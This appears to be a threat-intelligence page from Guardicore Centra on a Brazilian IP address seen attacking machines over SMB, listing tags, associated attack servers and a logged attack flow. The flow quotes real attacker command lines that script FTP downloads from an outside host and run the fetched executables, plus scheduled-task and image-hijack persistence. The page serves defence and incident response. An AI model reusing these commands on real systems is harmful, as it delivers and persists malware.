IP Address: 179.98.171.239Malicious

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IP Address:
179.98.171.239​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Download File DNS Poisoning HTTP Cookie Hijacking SMB Null Session Login Download and Execute CMD Service Start Service Configuration SMB Persistency - Image Hijack Scheduled Task Creation System File Modification Outgoing Connection Service Creation Access Suspicious Domain File Operation By CMD WMI Persistence

Associated Attack Servers

hosteons.com

104.233.207.172 139.5.177.32 137.175.56.104 103.124.105.246 217.195.153.116 45.58.135.106 172.83.155.170

Basic Information

IP Address

179.98.171.239

Domain

-

ISP

Vivo

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-12-22

Last seen in Guardicore Centra

2020-12-29

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named XGFf under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032 and 217.195.153.116:80

Outgoing Connection

The file C:\windows\Temp\conhoy.exe was downloaded and executed 18 times

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Access Suspicious Domain Outgoing Connection

C:\windows\Temp\wmi.bat was downloaded

Download File

c:\windows\temp\u.exe was downloaded

Download File

System file C:\windows\Temp\conhoy.exe was modified 4 times

System File Modification

C:\windows\Temp\ntuser.dat was downloaded

Download File

System file C:\windows\Temp\wmi.bat was modified 9 times

System File Modification

System file c:\windows\temp\u.exe was modified 9 times

System File Modification

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file C:\WINDOWS\Debug\item.dat was downloaded and loaded by c:\windows\debug\item.dat

Download and Execute

Connection was closed due to user inactivity

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IP Address: 179.98.171.239​Malicious